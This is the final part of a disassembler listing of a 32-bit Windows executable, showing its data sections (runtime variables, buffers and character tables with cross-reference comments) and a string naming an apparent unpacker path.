word_4CE75A dw 0 ; DATA XREF: sub_413A29+29Cw
dword_4CE75C dd 101h dup(0) ; DATA XREF: sub_413A29+2B9o
; char byte_4CEB60[]
byte_4CEB60 db 200h dup(0) ; DATA XREF: sub_401ACD+2F25o
; sub_401ACD:loc_404A7Bo ...
byte_4CED60 db 0 ; DATA XREF: sub_4152D1+1A1w
; sub_4152D1+27Ao
align 2
word_4CED62 dw 0 ; DATA XREF: sub_4152D1+1AEw
word_4CED64 dw 0 ; DATA XREF: sub_4152D1+1B8w
word_4CED66 dw 0 ; DATA XREF: sub_4152D1+1C1w
byte_4CED68 db 0 ; DATA XREF: sub_4152D1+1C8w
byte_4CED69 db 0 ; DATA XREF: sub_4152D1+1CFw
word_4CED6A dw 0 ; DATA XREF: sub_4152D1+1D6w
dword_4CED6C dd 0 ; DATA XREF: sub_4152D1+1E3w
dword_4CED70 dd 0 ; DATA XREF: sub_4152D1+1EBw
word_4CED74 dw 0 ; DATA XREF: sub_4152D1+244w
word_4CED76 dw 0 ; DATA XREF: sub_4152D1+22Cw
word_4CED78 dw 0 ; DATA XREF: sub_4152D1+256w
word_4CED7A dw 0 ; DATA XREF: sub_4152D1+1F7w
dword_4CED7C dd 101h dup(0) ; DATA XREF: sub_4152D1+265o
dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w
; sub_401ACD+2F1Dr ...
align 10h
byte_4CF190 db 0 ; DATA XREF: sub_4157BA+241o
; sub_4157BA+250w ...
byte_4CF191 db 0 ; DATA XREF: sub_4157BA+264w
word_4CF192 dw 0 ; DATA XREF: sub_4157BA+295w
word_4CF194 dw 0 ; DATA XREF: sub_4157BA+27Cw
; sub_4157BA:loc_415B8Cw
word_4CF196 dw 0 ; DATA XREF: sub_4157BA+29Bw
byte_4CF198 db 0 ; DATA XREF: sub_4157BA+288w
byte_4CF199 db 0 ; DATA XREF: sub_4157BA+25Dw
word_4CF19A dw 0 ; DATA XREF: sub_4157BA+3F2w
; sub_4157BA+41Cw
dword_4CF19C dd 0 ; DATA XREF: sub_4157BA:loc_415A83w
; sub_4157BA+39Ar
dword_4CF1A0 dd 0 ; DATA XREF: sub_4157BA+2D6w
word_4CF1A4 dw 0 ; DATA XREF: sub_4157BA+394w
; sub_4157BA+3E8o
word_4CF1A6 dw 0 ; DATA XREF: sub_4157BA+335w
; sub_4157BA+35Ar ...
dword_4CF1A8 dd 0 ; DATA XREF: sub_4157BA+30Cw
; sub_4157BA+3D9w
dword_4CF1AC dd 0 ; DATA XREF: sub_4157BA+328w
; sub_4157BA+3ABw ...
byte_4CF1B0 db 0 ; DATA XREF: sub_4157BA+311r
; sub_4157BA+31Fw
byte_4CF1B1 db 0 ; DATA XREF: sub_4157BA+2DBw
; sub_4157BA+3A4w ...
word_4CF1B2 dw 0 ; DATA XREF: sub_4157BA+2E9w
word_4CF1B4 dw 0 ; DATA XREF: sub_4157BA+3F9w
; sub_4157BA+42Aw
word_4CF1B6 dw 0 ; DATA XREF: sub_4157BA+32Ew
word_4CF1B8 dw 0 ; DATA XREF: sub_4157BA+360w
; sub_4157BA+432o
word_4CF1BA dw 0 ; DATA XREF: sub_4157BA+36Fw
; sub_4157BA+409w
dword_4CF1BC dd 0 ; DATA XREF: sub_4157BA+369w
dd 2 dup(0)
dword_4CF1C8 dd 0 ; DATA XREF: sub_4157BA+39Fw
; sub_4157BA+417o
dword_4CF1CC dd 0 ; DATA XREF: sub_4157BA+33Bw
byte_4CF1D0 db 0 ; DATA XREF: sub_4157BA+341w
byte_4CF1D1 db 0 ; DATA XREF: sub_4157BA+347w
word_4CF1D2 dw 0 ; DATA XREF: sub_4157BA+354w
dword_4CF1D4 dd 7 dup(0) ; DATA XREF: sub_4157BA+3EDo
dword_4CF1F0 dd 0 ; DATA XREF: sub_4157BA+30w
; sub_4157BA+43Br
; char byte_4CF1F4[]
byte_4CF1F4 db 400h dup(0) ; DATA XREF: sub_4157BA+1C3o
; sub_4157BA+47Eo
; char byte_4CF5F4[]
byte_4CF5F4 db 4000h dup(0) ; DATA XREF: sub_415D38+1Do
; sub_415DD8o ...
; char byte_4D35F4[]
byte_4D35F4 db 4 dup(0) ; DATA XREF: sub_415D38+13o
; sub_415DD8+Eo ...
dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo
; char byte_4D3630[]
byte_4D3630 db 200h dup(0) ; DATA XREF: sub_417990+41o
; wchar_t word_4D3830
word_4D3830 dw 0 ; DATA XREF: sub_4172C1+C7o
; sub_41761C+DDo ...
align 4
dd 1FFh dup(0)
; wchar_t word_4D4030
word_4D4030 dw 0 ; DATA XREF: sub_4172C1+D6o
; sub_41761C+F4o ...
align 4
dd 47h dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .data:off_4383A8o
dd 1B7h dup(0)
dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w
; sub_417493+94r
dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w
; sub_4178F9+55r ...
dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w
; sub_417493+D6r ...
dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w
; sub_417493+35r ...
; char byte_4D4840[]
byte_4D4840 db 200h dup(0) ; DATA XREF: sub_4178F9+5Eo
dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w
; sub_417493+A2r
align 8
dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o
; sub_4172C1+103r ...
dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw
; sub_4177C3+107w
; void *Src
Src dd 0 ; DATA XREF: sub_41761C+180w
; sub_4177C3+10Dw ...
dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w
; sub_4178F9+4Fr
dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w
; sub_417C61:loc_417DE6w ...
dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o
; sub_417B2F+12o ...
dd 0
dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr
; sub_417E06+3Ar
dd 7Fh dup(0)
dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r
; sub_417E06+4Aw
dd 1944h dup(0)
dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o
; char byte_4DB17C[]
byte_4DB17C db 204h dup(0) ; DATA XREF: sub_401ACD+3CB9o
; sub_417B2F+3Co ...
; char byte_4DB380[]
byte_4DB380 db 5Ch dup(0) ; DATA XREF: sub_418D2A:loc_418E47o
; sub_418D2A+131o ...
; char byte_4DB3DC[]
byte_4DB3DC db 200h dup(0) ; DATA XREF: sub_419AE0+7Co
; sub_419AE0+A5o
dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w
; sub_4190A5+4Dr ...
; char byte_4DB5E0[]
byte_4DB5E0 db 5Ch dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo
; sub_4199AC+12Do
; char byte_4DB63C[]
byte_4DB63C db 200h dup(0) ; DATA XREF: sub_418FE5+4Co
; sub_418FE5+7Eo ...
byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r
; sub_4190A5+34w
align 10h
; char byte_4DB840[]
byte_4DB840 db 200h dup(0) ; DATA XREF: sub_4192FC+61o
; sub_4192FC+89o ...
; char byte_4DBA40[]
byte_4DBA40 db 204h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o
; sub_418C0E+5Bo
dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er
; sub_41A05C+54r ...
dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr
; sub_41A05C+37r ...
dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar
; sub_41A1B1+83o
dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r
; sub_41A1B1+11Bw
; char byte_4DBC54[]
byte_4DBC54 db 34h dup(0) ; DATA XREF: sub_41A05C+13o
; sub_41A1B1:loc_41A2EEo
; int dword_4DBC88
dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr
; sub_41A05C+ECr ...
align 10h
; char byte_4DBC90[]
byte_4DBC90 db 3Ch dup(0) ; DATA XREF: sub_41ADD8+47o
; char byte_4DBCCC
byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o
; .text:0041B881o ...
align 10h
dd 3Fh dup(0)
dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o
dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o
; .text:0041B6CAo
dword_4DBDDC dd 0 ; DATA XREF: _strtoxl+1B9w
; _fseek:loc_41DB07w ...
dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w
; __close:loc_41E3ACw ...
dword_4DBDE4 dd 0 ; DATA XREF: __sopen+13Ar
dword_4DBDE8 dd 0A28h ; DATA XREF: start+52w
dword_4DBDEC dd 501h ; DATA XREF: start+49w
dword_4DBDF0 dd 5 ; DATA XREF: start+3Ew
dword_4DBDF4 dd 1 ; DATA XREF: start+30w
dword_4DBDF8 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401516r
; __setargv+91w
dword_4DBDFC dd 340B20h ; DATA XREF: WinMain(x,x,x,x)+2FEr
; WinMain(x,x,x,x)+31Er ...
dd 0
dword_4DBE04 dd 340B48h ; DATA XREF: __setenvp+44w
dd 3 dup(0)
off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DBE1C db 0 ; DATA XREF: _doexit+2Dw
; ___endstdio+5r
align 10h
dword_4DBE20 dd 0 ; DATA XREF: _doexit+27w
dword_4DBE24 dd 0 ; DATA XREF: _doexit+4r _doexit+8Bw
dword_4DBE28 dd 0 ; DATA XREF: _strtok+3Br _strtok+91w
align 10h
dword_4DBE30 dd 0 ; DATA XREF: __fpmath+Aw
; char *dword_4DBE34
dword_4DBE34 dd 0 ; DATA XREF: start+84w
; __setenvp:loc_4236E5r ...
dd 0
dword_4DBE3C dd 0 ; DATA XREF: __amsg_exitr
; _fast_error_exitr ...
dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw
; sub_41F4C9+2Dw ...
dword_4DBE44 dd 0 ; DATA XREF: __callnewhr
dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr
; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C dd 1 ; DATA XREF: __setmbcp:loc_4208C4r
; _getSystemCP+4w ...
dword_4DBE50 dd 0 ; DATA XREF: __stbuf+37r
align 8
dword_4DBE58 dd 0 ; DATA XREF: __cftoe+11r __cftof+1Ar ...
byte_4DBE5C db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ...
align 10h
dword_4DBE60 dd 0 ; DATA XREF: __cftof+11r __cftog+21w ...
byte_4DBE64 db 0 ; DATA XREF: __cftog+51w
align 4
dword_4DBE68 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+4Er
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar ...
dword_4DBE6C dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+5Cr
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r ...
dword_4DBE70 dd 0 ; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *)+7Ar
; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+5r
dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r
dword_4DBE78 dd 1 ; DATA XREF: ___crtLCMapStringA+28r
; ___crtLCMapStringA+4Cw ...
dd 2 dup(0)
; int dword_4DBE84
dword_4DBE84 dd 0 ; DATA XREF: __strupr+4r __strupr+6Er ...
dd 3 dup(0)
dword_4DBE94 dd 0 ; DATA XREF: _mbstowcs+61r
; _mbstowcs+BFr ...
dd 0
dword_4DBE9C dd 0 ; DATA XREF: __XcptFilter+3Ar
; __XcptFilter+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_4237A3o
; .data:off_4DBE14o
align 4
dd 3Ah dup(0)
dword_4DBFA4 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r
; ___crtGetEnvironmentStringsA+23w ...
dword_4DBFA8 dd 0 ; DATA XREF: __FF_MSGBANNER+21r
dword_4DBFAC dd 0 ; DATA XREF: __openfile+154w
; __stbuf:loc_420D0Fw ...
dword_4DBFB0 dd 0 ; DATA XREF: __openfile+7r
dword_4DBFB4 dd 1 ; DATA XREF: ___crtGetStringTypeA+26r
; ___crtGetStringTypeA:loc_42455Ew
word_4DBFB8 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r
byte_4DBFBA db 0 ; DATA XREF: __fltout+39r
align 4
dword_4DBFBC dd 7 dup(0) ; DATA XREF: __fltout+52o
dword_4DBFD8 dd 0 ; DATA XREF: __fltout+40w __fltout+5Co
dword_4DBFDC dd 0 ; DATA XREF: __fltout+4Dw
dword_4DBFE0 dd 0 ; DATA XREF: __fltout+31w
dword_4DBFE4 dd 0 ; DATA XREF: __fltout+52w
; int (__stdcall *dword_4DBFE8)()
dword_4DBFE8 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_424F3Fr
; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ...
dword_4DBFEC dd 0 ; DATA XREF: ___crtMessageBoxA+3r
; ___crtMessageBoxA+2Ew ...
dword_4DBFF0 dd 0 ; DATA XREF: ___crtMessageBoxA+43w
; ___crtMessageBoxA:loc_425078r
dword_4DBFF4 dd 0 ; DATA XREF: ___crtMessageBoxA+4Aw
; ___crtMessageBoxA+60r
dword_4DBFF8 dd 0 ; DATA XREF: __sopen+3Fr
dword_4DBFFC dd 0 ; DATA XREF: _raise:loc_425C6Dr
; _raise+6Do
dword_4DC000 dd 0 ; DATA XREF: _raise:loc_425C44r
; _raise+44o
dword_4DC004 dd 0 ; DATA XREF: _raise:loc_425C37r
; _raise+37o
dword_4DC008 dd 0 ; DATA XREF: _raise:loc_425C51r
; _raise+51o
align 10h
dword_4DC010 dd 0 ; DATA XREF: ___crtLCMapStringW+28r
; ___crtLCMapStringW+4Cw ...
dword_4DC014 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r
; ___crtGetStringTypeW:loc_42692Bw
byte_4DC018 db 1 ; DATA XREF: unknown_libname_1r
; unknown_libname_1+9w
align 4
dword_4DC01C dd 341110h ; DATA XREF: _flsall:loc_41E4A1r
; __getstream+14r ...
dword_4DC020 dd 400h dup(0) ; DATA XREF: .data:off_43D568o
; .data:0043D570o
; size_t Size
Size dd 200h ; DATA XREF: _flsall+9r _flsall+56r ...
dd 7 dup(0)
dword_4DD040 dd 340650h ; DATA XREF: __filbuf+75r __read+2Ar ...
dword_4DD044 dd 3Fh dup(0) ; DATA XREF: __ioinit+92o
dword_4DD140 dd 20h ; DATA XREF: __close+8r __read+Cr ...
dword_4DD144 dd 4E4h ; DATA XREF: __setmbcp+14r
; __setmbcp+65w ...
align 10h
dword_4DD150 dd 3 dup(0) ; DATA XREF: __setmbcp+123o
; __setmbcp+171o ...
dword_4DD15C dd 0 ; DATA XREF: __setmbcp+108w
; __setmbcp+15Dw ...
byte_4DD160 db 0 ; DATA XREF: _setSBUpLow:loc_420A94w
; _setSBUpLow:loc_420AB1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DD260 db 0 ; DATA XREF: __setmbcp+5Co
; __setmbcp+AFo ...
byte_4DD261 db 0 ; DATA XREF: __splitpath+5Dr
; __setmbcp+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DD364 dd 0 ; DATA XREF: __setmbcp+6Ew
; __setmbcp+12Bw ...
dword_4DD368 dd 0 ; DATA XREF: ___sbh_heap_init+3Cw
; ___sbh_alloc_new_region+5r ...
dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar
; sub_41E742+25Ar ...
dword_4DD370 dd 0 ; DATA XREF: ___sbh_heap_init+31w
; sub_41E742+311w ...
; void *Dst
Dst dd 0 ; DATA XREF: ___sbh_heap_init+21w
; sub_41E742+22Dr ...
dword_4DD378 dd 0 ; DATA XREF: ___sbh_heap_init+28w
; ___sbh_find_blockr ...
dword_4DD37C dd 0 ; DATA XREF: ___sbh_heap_init+15w
; ___sbh_find_block+8r ...
dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr
; sub_41BEF3+Fr ...
dword_4DD384 dd 340000h ; DATA XREF: sub_41BA91+5Ar
; sub_41BBE2+C0r ...
dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr
; sub_41BBE2:loc_41BC12r ...
dword_4DD38C dd 142340h ; DATA XREF: start+7Aw __wincmdln+Fr ...
dword_4DD390 dd 1 ; DATA XREF: __setenvp+ADw
dword_4DD394 dd 1 ; DATA XREF: ___initmbctabler
; ___initmbctable+11w ...
dword_4DD398 dd 34075Ch ; DATA XREF: _doexit+3Er __onexit+13r ...
; void *dword_4DD39C
dword_4DD39C dd 340758h ; DATA XREF: _doexit+35r _doexit+57r ...
_data ends
; Section 4. (virtual address 000DE000)
; Virtual size : 00000018 ( 24.)
; Section size in file : 00000018 ( 24.)
; Offset to raw data for section: 000DE000
; Flags C0000240: Data Comment Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_sxdata segment para public 'DATA' use32
assume cs:_sxdata
;org 4DE000h
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h
_sxdata ends
; Section 5. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000DE200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4DF000h
align 2000h
_idata2 ends
end start